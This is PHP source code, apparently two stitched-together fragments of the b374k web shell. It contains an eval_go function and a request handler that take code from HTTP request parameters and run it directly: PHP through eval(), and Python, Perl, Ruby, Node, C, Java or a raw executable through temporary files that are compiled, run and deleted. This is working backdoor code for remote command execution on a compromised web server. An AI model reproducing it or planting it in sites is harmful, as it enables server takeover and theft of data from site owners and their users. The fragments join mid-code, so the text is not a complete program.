function eval_go($evalType, $evalCode, $evalOptions, $evalArguments)
 {
     $res = "";
     $output = "";
     if ($evalOptions != "") {
         $evalOptions = $evalOptions . " ";
     }
     if ($evalArguments != "") {
         $evalArguments = " " . $evalArguments;
     }
     if ($evalType == "php") {
         ob_start();
         eval($evalCode);
         $res = ob_get_contents();
         ob_end_clean();
         return $res;
     } elseif ($evalType == "python" || $evalType == "perl" || $evalType == "ruby" || $evalType == "node" || $evalType == "nodejs") {
         $tmpdir = get_writabledir();
         chdir($tmpdir);
         $res .= "Using dir : " . $tmpdir;
         if (is_writable($tmpdir)) {
             $res .= " (writable)\n";
             $uniq = substr(md5(time()), 0, 8);
             $filename = $evalType . $uniq;
             $path = $filename;
             $res .= "Temporary file : " . $path;
             if (write_file($path, $evalCode)) {
                 $res .= " (ok)\n";
                 $res .= "Setting permissions : 0755";
                 if (chmod($path, 0755)) {
                     $res .= " (ok)\n";
                     $cmd = $evalType . " " . $evalOptions . $path . $evalArguments;
                     $res .= "Execute : " . $cmd . "\n";
                     $output = execute($cmd);
                 } else {
                     $res .= " (failed)\n";
                 }
                 $res .= "Deleting temporary file : " . $path;
                 if (unlink($path)) {
                     $res .= " (ok)\n";
                 } else {
                     $res .= " (failed)\n";
                 }
             } else {
                 $res .= " (failed)\n";
             }
         } else {
             $res .= " (not writable)\n";
         }
         $res .= "Finished...";
         return $res . "{[|b374k|]}" . $output;
     } elseif ($evalType == "gcc") {
         $tmpdir = get_writabledir();
         chdir($tmpdir);
         $res .= "Using dir : " . $tmpdir;
         if (is_writable($tmpdir)) {
             $res .= " (writable)\n";
             $uniq = substr(md5(time()), 0, 8);
             $filename = $evalType . $uniq . ".c";
             $path = $filename;
             $res .= "Temporary file : " . $path;
             if (write_file($path, $evalCode)) {
                 $res .= " (ok)\n";
                 $ext = is_win() ? ".exe" : ".out";
                 $pathres = $filename . $ext;
                 $evalOptions = "-o " . $pathres . " " . $evalOptions;
                 $cmd = "gcc " . $evalOptions . $path;
                 $res .= "Compiling : " . $cmd;
                 $res .= execute($cmd);
                 if (is_file($pathres)) {
                     $res .= " (ok)\n";
                     $res .= "Setting permissions : 0755";
                     if (chmod($pathres, 0755)) {
                         $res .= " (ok)\n";
                         $cmd = $pathres . $evalArguments;
                         $res .= "Execute : " . $cmd . "\n";
                         $output = execute($cmd);
                     } else {
                         $res .= " (failed)\n";
                     }
                     $res .= "Deleting temporary file : " . $pathres;
                     if (unlink($pathres)) {
                         $res .= " (ok)\n";
                     } else {
                         $res .= " (failed)\n";
                     }
                 } else {
                     $res .= " (failed)\n";
                 }
                 $res .= "Deleting temporary file : " . $path;
                 if (unlink($path)) {
                     $res .= " (ok)\n";
                 } else {
                     $res .= " (failed)\n";
                 }
             } else {
                 $res .= " (failed)\n";
             }
         } else {
             $res .= " (not writable)\n";
         }
         $res .= "Finished...";
         return $res . "{[|b374k|]}" . $output;
     } elseif ($evalType == "java") {
         $tmpdir = get_writabledir();
         chdir($tmpdir);
         $res .= "Using dir : " . $tmpdir;
         if (is_writable($tmpdir)) {
             $res .= " (writable)\n";
             if (preg_match("/class\\ ([^{]+){/i", $evalCode, $r)) {
                 $classname = trim($r[1]);
                 $filename = $classname;
             } else {
                 $uniq = substr(md5(time()), 0, 8);
                 $filename = $evalType . $uniq;
                 $evalCode = "class " . $filename . " { " . $evalCode . " } ";
             }
             $path = $filename . ".java";
             $res .= "Temporary file : " . $path;
             if (write_file($path, $evalCode)) {
                 $res .= " (ok)\n";
                 $cmd = "javac " . $evalOptions . $path;
                 $res .= "Compiling : " . $cmd;
                 $res .= execute($cmd);
                 $pathres = $filename . ".class";
                 if (is_file($pathres)) {
                     $res .= " (ok)\n";
                     $res .= "Setting permissions : 0755";
                     if (chmod($pathres, 0755)) {
                         $res .= " (ok)\n";
                         $cmd = "java " . $filename . $evalArguments;
                         $res .= "Execute : " . $cmd . "\n";
                         $output = execute($cmd);
                     } else {
                         $res .= " (failed)\n";
                     }
                     $res .= "Deleting temporary file : " . $pathres;
                     if (unlink($pathres)) {
                         $res .= " (ok)\n";
                     } else {
                         $res .= " (failed)\n";
                     }
                 } else {
                     $res .= " (failed)\n";
                 }
                 $res .= "Deleting temporary file : " . $path;
                 if (unlink($path)) {
                     $res .= " (ok)\n";
                 } else {
                     $res .= " (failed)\n";
                 }
             } else {
                 $res .= " (failed)\n";
             }
         } else {
             $res .= " (not writable)\n";
         }
         $res .= "Finished...";
         return $res . "{[|b374k|]}" . $output;
     } elseif ($evalType == "executable") {
         $tmpdir = get_writabledir();
         chdir($tmpdir);
         $res .= "Using dir : " . $tmpdir;
         if (is_writable($tmpdir)) {
             $res .= " (writable)\n";
             $uniq = substr(md5(time()), 0, 8);
             $filename = $evalType . $uniq . ".exe";
             $path = $filename;
             $res .= "Temporary file : " . $path;
             if (write_file($path, $evalCode)) {
                 $res .= " (ok)\n";
                 $cmd = $path . $evalArguments;
                 $res .= "Execute : " . $cmd . "\n";
                 $output = execute($cmd);
                 $res .= "Deleting temporary file : " . $path;
                 if (unlink($path)) {
                     $res .= " (ok)\n";
                 } else {
                     $res .= " (failed)\n";
                 }
             } else {
                 $res .= " (failed)\n";
             }
         } else {
             $res .= " (not writable)\n";
         }
         $res .= "Finished...";
         return $res . "{[|b374k|]}" . $output;
     }
     return false;
 }
         }
     } else {
         $dirmsg = "Directory already exists " . $f;
     }
     $s_result .= "<p class='notif'>" . $dirmsg . "</p>";
 }
 // php eval() function
 if (isset($_REQUEST['eval'])) {
     $code = "";
     $res = "";
     $gccoption = "";
     $lang = "php";
     if (isset($_REQUEST['evalcode'])) {
         $code = ssc($_REQUEST['evalcode']);
         $gccoption = isset($_REQUEST['gccoption']) ? " " . ssc($_REQUEST['gccoption']) : "";
         $tmpdir = get_writabledir();
         if (isset($_REQUEST['lang'])) {
             $lang = $_REQUEST['lang'];
         }
         if (strtolower($lang) == 'php') {
             ob_start();
             eval($code);
             $res = ob_get_contents();
             ob_end_clean();
         } elseif (strtolower($lang) == 'python' || strtolower($lang) == 'perl' || strtolower($lang) == 'ruby') {
             $rand = md5(time() . rand(0, 100));
             $script = $tmpdir . $rand;
             file_put_contents($script, $code);
             if (is_file($script)) {
                 $res = exe($lang . " " . $script . $gccoption);
                 unlink($script);